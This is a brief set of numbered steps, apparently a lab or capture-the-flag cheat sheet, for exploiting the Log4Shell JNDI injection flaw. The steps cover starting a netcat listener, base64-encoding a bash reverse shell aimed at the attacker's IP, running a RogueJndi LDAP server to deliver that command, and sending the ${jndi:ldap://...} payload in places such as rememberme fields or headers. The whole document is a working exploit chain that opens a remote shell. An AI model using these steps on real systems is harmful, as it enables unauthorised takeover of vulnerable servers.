1. On own machine, nc -lvnp 9001
  2. On own machine another terminal, run ifconfig and echo 'bash -c "bash -i >& /dev/tcp/IP/9001 0>&1"' | base64
  3. Under rogue-jndi, java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,BASE64 STRING HERE}|{base64,-d}|{bash,-i}" --hostname "YOUR TUN0 IP ADDRESS"
  4. Send (can sometimes be in tricky places like rememberme or headers, read the cve): ${jndi:ldap://xx:1389/tomcat}